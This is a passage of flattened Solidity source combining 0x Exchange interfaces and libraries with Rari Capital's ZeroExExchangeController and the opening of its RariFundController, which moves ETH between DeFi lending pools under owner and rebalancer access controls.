maker. /// @param rightSignature Proof that order was created by the right maker. /// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders. function matchOrders( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, bytes memory leftSignature, bytes memory rightSignature ) public payable returns (LibFillResults.MatchedFillResults memory matchedFillResults); /// @dev Match two complementary orders that have a profitable spread. /// Each order is maximally filled at their respective price point, and /// the matcher receives a profit denominated in either the left maker asset, /// right maker asset, or a combination of both. /// @param leftOrder First order to match. /// @param rightOrder Second order to match. /// @param leftSignature Proof that order was created by the left maker. /// @param rightSignature Proof that order was created by the right maker. /// @return matchedFillResults Amounts filled by maker and taker of matched orders. function matchOrdersWithMaximalFill( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, bytes memory leftSignature, bytes memory rightSignature ) public payable returns (LibFillResults.MatchedFillResults memory matchedFillResults); } // File: @0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; library LibZeroExTransaction { using LibZeroExTransaction for ZeroExTransaction; // Hash for the EIP712 0x transaction schema // keccak256(abi.encodePacked( // "ZeroExTransaction(", // "uint256 salt,", // "uint256 expirationTimeSeconds,", // "uint256 gasPrice,", // "address signerAddress,", // "bytes data", // ")" // )); bytes32 constant internal _EIP712_ZEROEX_TRANSACTION_SCHEMA_HASH = 0xec69816980a3a3ca4554410e60253953e9ff375ba4536a98adfa15cc71541508; struct ZeroExTransaction { uint256 salt; // Arbitrary number to ensure uniqueness of transaction hash. uint256 expirationTimeSeconds; // Timestamp in seconds at which transaction expires. uint256 gasPrice; // gasPrice that transaction is required to be executed with. address signerAddress; // Address of transaction signer. bytes data; // AbiV2 encoded calldata. } /// @dev Calculates the EIP712 typed data hash of a transaction with a given domain separator. /// @param transaction 0x transaction structure. /// @return EIP712 typed data hash of the transaction. function getTypedDataHash(ZeroExTransaction memory transaction, bytes32 eip712ExchangeDomainHash) internal pure returns (bytes32 transactionHash) { // Hash the transaction with the domain separator of the Exchange contract. transactionHash = LibEIP712.hashEIP712Message( eip712ExchangeDomainHash, transaction.getStructHash() ); return transactionHash; } /// @dev Calculates EIP712 hash of the 0x transaction struct. /// @param transaction 0x transaction structure. /// @return EIP712 hash of the transaction struct. function getStructHash(ZeroExTransaction memory transaction) internal pure returns (bytes32 result) { bytes32 schemaHash = _EIP712_ZEROEX_TRANSACTION_SCHEMA_HASH; bytes memory data = transaction.data; uint256 salt = transaction.salt; uint256 expirationTimeSeconds = transaction.expirationTimeSeconds; uint256 gasPrice = transaction.gasPrice; address signerAddress = transaction.signerAddress; // Assembly for more efficiently computing: // result = keccak256(abi.encodePacked( // schemaHash, // salt, // expirationTimeSeconds, // gasPrice, // uint256(signerAddress), // keccak256(data) // )); assembly { // Compute hash of data let dataHash := keccak256(add(data, 32), mload(data)) // Load free memory pointer let memPtr := mload(64) mstore(memPtr, schemaHash) // hash of schema mstore(add(memPtr, 32), salt) // salt mstore(add(memPtr, 64), expirationTimeSeconds) // expirationTimeSeconds mstore(add(memPtr, 96), gasPrice) // gasPrice mstore(add(memPtr, 128), and(signerAddress, 0xffffffffffffffffffffffffffffffffffffffff)) // signerAddress mstore(add(memPtr, 160), dataHash) // hash of data // Compute hash result := keccak256(memPtr, 192) } return result; } } // File: @0x/contracts-exchange/contracts/src/interfaces/ISignatureValidator.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract ISignatureValidator { // Allowed signature types. enum SignatureType { Illegal, // 0x00, default value Invalid, // 0x01 EIP712, // 0x02 EthSign, // 0x03 Wallet, // 0x04 Validator, // 0x05 PreSigned, // 0x06 EIP1271Wallet, // 0x07 NSignatureTypes // 0x08, number of signature types. Always leave at end. } event SignatureValidatorApproval( address indexed signerAddress, // Address that approves or disapproves a contract to verify signatures. address indexed validatorAddress, // Address of signature validator contract. bool isApproved // Approval or disapproval of validator contract. ); /// @dev Approves a hash on-chain. /// After presigning a hash, the preSign signature type will become valid for that hash and signer. /// @param hash Any 32-byte hash. function preSign(bytes32 hash) external payable; /// @dev Approves/unnapproves a Validator contract to verify signatures on signer's behalf. /// @param validatorAddress Address of Validator contract. /// @param approval Approval or disapproval of Validator contract. function setSignatureValidatorApproval( address validatorAddress, bool approval ) external payable; /// @dev Verifies that a hash has been signed by the given signer. /// @param hash Any 32-byte hash. /// @param signature Proof that the hash has been signed by signer. /// @return isValid `true` if the signature is valid for the given hash and signer. function isValidHashSignature( bytes32 hash, address signerAddress, bytes memory signature ) public view returns (bool isValid); /// @dev Verifies that a signature for an order is valid. /// @param order The order. /// @param signature Proof that the order has been signed by signer. /// @return isValid true if the signature is valid for the given order and signer. function isValidOrderSignature( LibOrder.Order memory order, bytes memory signature ) public view returns (bool isValid); /// @dev Verifies that a signature for a transaction is valid. /// @param transaction The transaction. /// @param signature Proof that the order has been signed by signer. /// @return isValid true if the signature is valid for the given transaction and signer. function isValidTransactionSignature( LibZeroExTransaction.ZeroExTransaction memory transaction, bytes memory signature ) public view returns (bool isValid); /// @dev Verifies that an order, with provided order hash, has been signed /// by the given signer. /// @param order The order. /// @param orderHash The hash of the order. /// @param signature Proof that the hash has been signed by signer. /// @return isValid True if the signature is valid for the given order and signer. function _isValidOrderWithHashSignature( LibOrder.Order memory order, bytes32 orderHash, bytes memory signature ) internal view returns (bool isValid); /// @dev Verifies that a transaction, with provided order hash, has been signed /// by the given signer. /// @param transaction The transaction. /// @param transactionHash The hash of the transaction. /// @param signature Proof that the hash has been signed by signer. /// @return isValid True if the signature is valid for the given transaction and signer. function _isValidTransactionWithHashSignature( LibZeroExTransaction.ZeroExTransaction memory transaction, bytes32 transactionHash, bytes memory signature ) internal view returns (bool isValid); } // File: @0x/contracts-exchange/contracts/src/interfaces/ITransactions.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract ITransactions { // TransactionExecution event is emitted when a ZeroExTransaction is executed. event TransactionExecution(bytes32 indexed transactionHash); /// @dev Executes an Exchange method call in the context of signer. /// @param transaction 0x transaction containing salt, signerAddress, and data. /// @param signature Proof that transaction has been signed by signer. /// @return ABI encoded return data of the underlying Exchange function call. function executeTransaction( LibZeroExTransaction.ZeroExTransaction memory transaction, bytes memory signature ) public payable returns (bytes memory); /// @dev Executes a batch of Exchange method calls in the context of signer(s). /// @param transactions Array of 0x transactions containing salt, signerAddress, and data. /// @param signatures Array of proofs that transactions have been signed by signer(s). /// @return Array containing ABI encoded return data for each of the underlying Exchange function calls. function batchExecuteTransactions( LibZeroExTransaction.ZeroExTransaction[] memory transactions, bytes[] memory signatures ) public payable returns (bytes[] memory); /// @dev The current function will be called in the context of this address (either 0x transaction signer or `msg.sender`). /// If calling a fill function, this address will represent the taker. /// If calling a cancel function, this address will represent the maker. /// @return Signer of 0x transaction if entry point is `executeTransaction`. /// `msg.sender` if entry point is any other function. function _getCurrentContextAddress() internal view returns (address); } // File: @0x/contracts-exchange/contracts/src/interfaces/IAssetProxyDispatcher.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IAssetProxyDispatcher { // Logs registration of new asset proxy event AssetProxyRegistered( bytes4 id, // Id of new registered AssetProxy. address assetProxy // Address of new registered AssetProxy. ); /// @dev Registers an asset proxy to its asset proxy id. /// Once an asset proxy is registered, it cannot be unregistered. /// @param assetProxy Address of new asset proxy to register. function registerAssetProxy(address assetProxy) external; /// @dev Gets an asset proxy. /// @param assetProxyId Id of the asset proxy. /// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered. function getAssetProxy(bytes4 assetProxyId) external view returns (address); } // File: @0x/contracts-exchange/contracts/src/interfaces/IWrapperFunctions.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IWrapperFunctions { /// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. function fillOrKillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public payable returns (LibFillResults.FillResults memory fillResults); /// @dev Executes multiple calls of fillOrder. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Array of amounts filled and fees paid by makers and taker. function batchFillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public payable returns (LibFillResults.FillResults[] memory fillResults); /// @dev Executes multiple calls of fillOrKillOrder. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Array of amounts filled and fees paid by makers and taker. function batchFillOrKillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public payable returns (LibFillResults.FillResults[] memory fillResults); /// @dev Executes multiple calls of fillOrder. If any fill reverts, the error is caught and ignored. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Array of amounts filled and fees paid by makers and taker. function batchFillOrdersNoThrow( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public payable returns (LibFillResults.FillResults[] memory fillResults); /// @dev Executes multiple calls of fillOrder until total amount of takerAsset is sold by taker. /// If any fill reverts, the error is caught and ignored. /// NOTE: This function does not enforce that the takerAsset is the same for each order. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrdersNoThrow( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public payable returns (LibFillResults.FillResults memory fillResults); /// @dev Executes multiple calls of fillOrder until total amount of makerAsset is bought by taker. /// If any fill reverts, the error is caught and ignored. /// NOTE: This function does not enforce that the makerAsset is the same for each order. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrdersNoThrow( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public payable returns (LibFillResults.FillResults memory fillResults); /// @dev Calls marketSellOrdersNoThrow then reverts if < takerAssetFillAmount has been sold. /// NOTE: This function does not enforce that the takerAsset is the same for each order. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Minimum amount of takerAsset to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrdersFillOrKill( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public payable returns (LibFillResults.FillResults memory fillResults); /// @dev Calls marketBuyOrdersNoThrow then reverts if < makerAssetFillAmount has been bought. /// NOTE: This function does not enforce that the makerAsset is the same for each order. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Minimum amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrdersFillOrKill( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public payable returns (LibFillResults.FillResults memory fillResults); /// @dev Executes multiple calls of cancelOrder. /// @param orders Array of order specifications. function batchCancelOrders(LibOrder.Order[] memory orders) public payable; } // File: @0x/contracts-exchange/contracts/src/interfaces/ITransferSimulator.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract ITransferSimulator { /// @dev This function may be used to simulate any amount of transfers /// As they would occur through the Exchange contract. Note that this function /// will always revert, even if all transfers are successful. However, it may /// be used with eth_call or with a try/catch pattern in order to simulate /// the results of the transfers. /// @param assetData Array of asset details, each encoded per the AssetProxy contract specification. /// @param fromAddresses Array containing the `from` addresses that correspond with each transfer. /// @param toAddresses Array containing the `to` addresses that correspond with each transfer. /// @param amounts Array containing the amounts that correspond to each transfer. /// @return This function does not return a value. However, it will always revert with /// `Error("TRANSFERS_SUCCESSFUL")` if all of the transfers were successful. function simulateDispatchTransferFromCalls( bytes[] memory assetData, address[] memory fromAddresses, address[] memory toAddresses, uint256[] memory amounts ) public; } // File: @0x/contracts-exchange/contracts/src/interfaces/IExchange.sol /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; // solhint-disable no-empty-blocks contract IExchange is IProtocolFees, IExchangeCore, IMatchOrders, ISignatureValidator, ITransactions, IAssetProxyDispatcher, ITransferSimulator, IWrapperFunctions {} // File: contracts/lib/exchanges/ZeroExExchangeController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title ZeroExExchangeController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @dev This library handles exchanges via 0x. */ library ZeroExExchangeController { using SafeMath for uint256; using SafeERC20 for IERC20; address constant private EXCHANGE_CONTRACT = 0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef; IExchange constant private _exchange = IExchange(EXCHANGE_CONTRACT); address constant private ERC20_PROXY_CONTRACT = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; /** * @dev Gets allowance of the specified token to 0x. * @param erc20Contract The ERC20 contract address of the token. */ function allowance(address erc20Contract) internal view returns (uint256) { return IERC20(erc20Contract).allowance(address(this), ERC20_PROXY_CONTRACT); } /** * @dev Approves tokens to 0x without spending gas on every deposit. * @param erc20Contract The ERC20 contract address of the token. * @param amount Amount of the specified token to approve to dYdX. * @return Boolean indicating success. */ function approve(address erc20Contract, uint256 amount) internal returns (bool) { IERC20 token = IERC20(erc20Contract); uint256 _allowance = token.allowance(address(this), ERC20_PROXY_CONTRACT); if (_allowance == amount) return true; if (amount > 0 && _allowance > 0) token.safeApprove(ERC20_PROXY_CONTRACT, 0); token.safeApprove(ERC20_PROXY_CONTRACT, amount); return true; } /** * @dev Market sells to 0x exchange orders up to a certain amount of input. * @param orders The limit orders to be filled in ascending order of price. * @param signatures The signatures for the orders. * @param takerAssetFillAmount The amount of the taker asset to sell (excluding taker fees). * @param protocolFee The protocol fee in ETH to pay to 0x. * @return Array containing the taker asset filled amount (sold) and maker asset filled amount (bought). */ function marketSellOrdersFillOrKill(LibOrder.Order[] memory orders, bytes[] memory signatures, uint256 takerAssetFillAmount, uint256 protocolFee) internal returns (uint256[2] memory) { require(orders.length > 0, "At least one order and matching signature is required."); require(orders.length == signatures.length, "Mismatch between number of orders and signatures."); require(takerAssetFillAmount > 0, "Taker asset fill amount must be greater than 0."); LibFillResults.FillResults memory fillResults = _exchange.marketSellOrdersFillOrKill.value(protocolFee)(orders, takerAssetFillAmount, signatures); return [fillResults.takerAssetFilledAmount, fillResults.makerAssetFilledAmount]; } /** * @dev Market buys from 0x exchange orders up to a certain amount of output. * @param orders The limit orders to be filled in ascending order of price. * @param signatures The signatures for the orders. * @param makerAssetFillAmount The amount of the maker asset to buy. * @param protocolFee The protocol fee in ETH to pay to 0x. * @return Array containing the taker asset filled amount (sold) and maker asset filled amount (bought). */ function marketBuyOrdersFillOrKill(LibOrder.Order[] memory orders, bytes[] memory signatures, uint256 makerAssetFillAmount, uint256 protocolFee) internal returns (uint256[2] memory) { require(orders.length > 0, "At least one order and matching signature is required."); require(orders.length == signatures.length, "Mismatch between number of orders and signatures."); require(makerAssetFillAmount > 0, "Maker asset fill amount must be greater than 0."); LibFillResults.FillResults memory fillResults = _exchange.marketBuyOrdersFillOrKill.value(protocolFee)(orders, makerAssetFillAmount, signatures); return [fillResults.takerAssetFilledAmount, fillResults.makerAssetFilledAmount]; } } // File: contracts/RariFundController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title RariFundController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @author Richter Brzeski <richter@rari.capital> (https://github.com/richtermb) * @dev This contract handles deposits to and withdrawals from the liquidity pools that power the Rari Ethereum Pool as well as currency exchanges via 0x. */ contract RariFundController is Ownable { using SafeMath for uint256; using SignedSafeMath for int256; using SafeERC20 for IERC20; /** * @dev Boolean to be checked on `upgradeFundController`. */ bool public constant IS_RARI_FUND_CONTROLLER = true; /** * @dev Boolean that, if true, disables the primary functionality of this RariFundController. */ bool private _fundDisabled; /** * @dev Address of the RariFundManager. */ address payable private _rariFundManagerContract; /** * @dev Address of the rebalancer. */ address private _rariFundRebalancerAddress; /** * @dev Enum for liqudity pools supported by Rari. */ enum LiquidityPool { dYdX, Compound, KeeperDAO, Aave, Alpha, Enzyme } /** * @dev Maps arrays of supported pools to currency codes. */ uint8[] private _supportedPools; /** * @dev COMP token address. */ address constant private COMP_TOKEN = 0xc00e94Cb662C3520282E6f5717214004A7f26888; /** * @dev ROOK token address. */ address constant private ROOK_TOKEN = 0xfA5047c9c78B8877af97BDcb85Db743fD7313d4a; /** * @dev WETH token contract. */ IEtherToken constant private _weth = IEtherToken(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); /** * @dev Caches the balances for each pool, with the sum cached at the end */ uint256[] private _cachedBalances; /** * @dev Constructor that sets supported ERC20 token contract addresses and supported pools for each supported token. */ constructor () public { Ownable.initialize(msg.sender); // Add supported pools addPool(0); // dYdX addPool(1); // Compound addPool(2); // KeeperDAO addPool(3); // Aave addPool(4); // Alpha addPool(5); // Enzyme } /** * @dev Adds a supported pool for a token. * @param pool Pool ID to be supported. */ function addPool(uint8 pool) internal { _supportedPools.push(pool); } /** * @dev Payable fallback function called by 0x exchange to refund unspent protocol fee. */ function () external payable { } /** * @dev Emitted when the RariFundManager of the RariFundController is set. */ event FundManagerSet(address newAddress); /** * @dev Sets or upgrades the RariFundManager of the RariFundController. * @param newContract The address of the new RariFundManager contract. */ function setFundManager(address payable newContract) external onlyOwner { _rariFundManagerContract = newContract; emit FundManagerSet(newContract); } /** * @dev Throws if called by any account other than the RariFundManager. */ modifier onlyManager() { require(_rariFundManagerContract == msg.sender, "Caller is not the fund manager."); _; } /** * @dev Emitted when the rebalancer of the RariFundController is set. */ event FundRebalancerSet(address newAddress); /** * @dev Sets or upgrades the rebalancer of the RariFundController. * @param newAddress The Ethereum address of the new rebalancer server. */ function setFundRebalancer(address newAddress) external onlyOwner { _rariFundRebalancerAddress = newAddress; emit FundRebalancerSet(newAddress); } /** * @dev Throws if called by any account other than the rebalancer. */ modifier onlyRebalancer() { require(_rariFundRebalancerAddress == msg.sender, "Caller is not the rebalancer."); _; } /** * @dev Emitted when the primary functionality of this RariFundController contract has been disabled. */ event FundDisabled(); /** * @dev Emitted when the primary functionality of this RariFundController contract has been enabled. */ event FundEnabled(); /** * @dev Disables primary functionality of this RariFundController so contract(s) can be upgraded. */ function disableFund() external onlyOwner { require(!_fundDisabled, "Fund already disabled."); _fundDisabled = true; emit FundDisabled(); } /** * @dev Enables primary functionality of this RariFundController once contract(s) are upgraded. */ function enableFund() external onlyOwner { require(_fundDisabled, "Fund already enabled."); _fundDisabled = false; emit FundEnabled(); } /** * @dev Throws if fund is disabled. */ modifier fundEnabled() { require(!_fundDisabled, "This fund controller contract is disabled. This may be due to an upgrade."); _; } /** * @dev Sets or upgrades RariFundController by forwarding immediate balance of ETH from the old to the new. * @param newContract The address of the new RariFundController contract. */ function _upgradeFundController(address payable newContract) public onlyOwner { // Verify fund is disabled + verify new fund controller contract require(_fundDisabled, "This fund controller contract must be disabled before it can be upgraded."); require(RariFundController(newContract).IS_RARI_FUND_CONTROLLER(), "New contract does not have IS_RARI_FUND_CONTROLLER set to true."); // Transfer all ETH to new fund controller uint256 balance = address(this).balance; if (balance > 0) { (bool success, ) = newContract.call.value(balance)(""); require(success, "Failed to transfer ETH."); } } /** * @dev Sets or upgrades RariFundController by withdrawing all ETH from all pools and forwarding them from the old to the new. * @param newContract The address of the new RariFundController contract. */ function upgradeFundController(address payable newContract) external onlyOwner { // Withdraw all from Enzyme first because they output other LP tokens if (hasETHInPool(5)) _withdrawAllFromPool(5); // Then withdraw all from all other pools for (uint256 i = 0; i < _supportedPools.length; i++) if (hasETHInPool(_supportedPools[i])) _withdrawAllFromPool(_supportedPools[i]); // Transfer all ETH to new fund controller _upgradeFundController(newContract); } /** * @dev Returns the fund controller's balance of the specified currency in the specified pool. * @dev Ideally, we can add the view modifier, but Compound's `getUnderlyingBalance` function (called by `CompoundPoolController.getBalance`) potentially modifies the state. * @param pool The index of the pool. */ function _getPoolBalance(uint8 pool) public returns (uint256) { if (pool == 0) return DydxPoolController.getBalance(); else if (pool == 1) return CompoundPoolController.getBalance(); else if (pool == 2) return KeeperDaoPoolController.getBalance(); else if (pool == 3) return AavePoolController.getBalance(); else if (pool == 4) return AlphaPoolController.getBalance(); else if (pool == 5) return EnzymePoolController.getBalance(_enzymeComptroller); else revert("Invalid pool index."); } /** * @dev Returns the fund controller's balance of the specified currency in the specified pool. * @dev Ideally, we can add the view modifier, but Compound's `getUnderlyingBalance` function (called by `CompoundPoolController.getBalance`) potentially modifies the state. * @param pool The index of the pool. */ function getPoolBalance(uint8 pool) public returns (uint256) { if (!_poolsWithFunds[pool]) return 0; return _getPoolBalance(pool); } /** * @notice Returns the fund controller's balance of each pool of the specified currency. * @dev Ideally, we can add the view modifier, but Compound's `getUnderlyingBalance` function (called by `getPoolBalance`) potentially modifies the state. * @return An array of pool indexes and an array of corresponding balances. */ function getEntireBalance() public returns (uint256) { uint256 sum = address(this).balance; // start with immediate eth balance for (uint256 i = 0; i < _supportedPools.length; i++) { sum = getPoolBalance(_supportedPools[i]).add(sum); } return sum; } /** * @dev Approves WETH to pool without spending gas on every deposit. * @param pool The index of the pool. * @param amount The amount of WETH to be approved. */ function approveWethToPool(uint8 pool, uint256 amount) external fundEnabled onlyRebalancer { if (pool == 0) return DydxPoolController.approve(amount); else if (pool == 5) return EnzymePoolController.approve(_enzymeComptroller, amount); else revert("Invalid pool index."); } /** * @dev Approves kEther to the specified pool without spending gas on every deposit. * @param amount The amount of kEther to be approved. */ function approvekEtherToKeeperDaoPool(uint256 amount) external fundEnabled onlyRebalancer { KeeperDaoPoolController.approve(amount); } /** * @dev Mapping of bools indicating the presence of funds to pools. */ mapping(uint8 => bool) _poolsWithFunds; /** * @dev Return a boolean indicating if the fund controller has funds in `currencyCode` in `pool`. * @param pool The index of the pool to check. */ function hasETHInPool(uint8 pool) public view returns (bool) { return _poolsWithFunds[pool]; } /** * @dev Referral code for Aave deposits. */ uint16 _aaveReferralCode; /** * @dev Sets the referral code for Aave deposits. * @param referralCode The referral code. */ function setAaveReferralCode(uint16 referralCode) external onlyOwner { _aaveReferralCode = referralCode; } /** * @dev The Enzyme pool Comptroller contract address. */ address _enzymeComptroller; /** * @dev Sets the Enzyme pool Comptroller contract address. * @param comptroller The Enzyme pool Comptroller contract address. */ function setEnzymeComptroller(address comptroller) external onlyOwner { _enzymeComptroller = comptroller; } /** * @dev Enum for pool allocation action types supported by Rari. */ enum PoolAllocationAction { Deposit, Withdraw, WithdrawAll } /** * @dev Emitted when a deposit or withdrawal is made. * Note that `amount` is not set for `WithdrawAll` actions. */ event PoolAllocation(PoolAllocationAction indexed action, LiquidityPool indexed pool, uint256 amount); /** * @dev Deposits funds to the specified pool. * @param pool The index of the pool. */ function depositToPool(uint8 pool, uint256 amount) external fundEnabled onlyRebalancer { require(amount > 0, "Amount must be greater than 0."); if (pool == 0) DydxPoolController.deposit(amount); else if (pool == 1) CompoundPoolController.deposit(amount); else if (pool == 2) KeeperDaoPoolController.deposit(amount); else if (pool == 3) AavePoolController.deposit(amount, _aaveReferralCode); else if (pool == 4) AlphaPoolController.deposit(amount); else if (pool == 5) EnzymePoolController.deposit(_enzymeComptroller, amount); else revert("Invalid pool index."); _poolsWithFunds[pool] = true; emit PoolAllocation(PoolAllocationAction.Deposit, LiquidityPool(pool), amount); } /** * @dev Internal function to withdraw funds from the specified pool. * @param pool The index of the pool. * @param amount The amount of tokens to be withdrawn. */ function _withdrawFromPool(uint8 pool, uint256 amount) internal { if (pool == 0) DydxPoolController.withdraw(amount); else if (pool == 1) CompoundPoolController.withdraw(amount); else if (pool == 2) KeeperDaoPoolController.withdraw(amount); else if (pool == 3) AavePoolController.withdraw(amount); else if (pool == 4) AlphaPoolController.withdraw(amount); else if (pool == 5) EnzymePoolController.withdraw(_enzymeComptroller, amount); else revert("Invalid pool index."); emit PoolAllocation(PoolAllocationAction.Withdraw, LiquidityPool(pool), amount); } /** * @dev Withdraws funds from the specified pool. * @param pool The index of the pool. * @param amount The amount of tokens to be withdrawn. */ function withdrawFromPool(uint8 pool, uint256 amount) external fundEnabled onlyRebalancer { require(amount > 0, "Amount must be greater than 0."); _withdrawFromPool(pool, amount); _poolsWithFunds[pool] = _getPoolBalance(pool) > 0; } /** * @dev Withdraws funds from the specified pool (caching the `initialBalance` parameter). * @param pool The index of the pool. * @param amount The amount of tokens to be withdrawn. * @param initialBalance The fund's balance of the specified currency in the specified pool before the withdrawal. */ function withdrawFromPoolKnowingBalance(uint8 pool, uint256 amount, uint256 initialBalance) public fundEnabled onlyManager { _withdrawFromPool(pool, amount); if (amount == initialBalance) _poolsWithFunds[pool] = false; } /** * @dev Internal function that withdraws all funds from the specified pool. * @param pool The index of the pool. */ function _withdrawAllFromPool(uint8 pool) internal { if (pool == 0) DydxPoolController.withdrawAll(); else if (pool == 1) require(CompoundPoolController.withdrawAll(), "No Compound balance to withdraw from."); else if (pool == 2) require(KeeperDaoPoolController.withdrawAll(), "No KeeperDAO balance to withdraw from."); else if (pool == 3) AavePoolController.withdrawAll(); else if (pool == 4) require(AlphaPoolController.withdrawAll(), "No Alpha Homora balance to withdraw from."); else if (pool == 5) EnzymePoolController.withdrawAll(_enzymeComptroller); else revert("Invalid pool index."); _poolsWithFunds[pool] = false; emit PoolAllocation(PoolAllocationAction.WithdrawAll, LiquidityPool(pool), 0); } /** * @dev Withdraws all funds from the specified pool. * @param pool The index of the pool. * @return Boolean indicating success. */ function withdrawAllFromPool(uint8 pool) external fundEnabled onlyRebalancer { _withdrawAllFromPool(pool); } /** * @dev Withdraws all funds from the specified pool (without requiring the fund to be enabled). * @param pool The 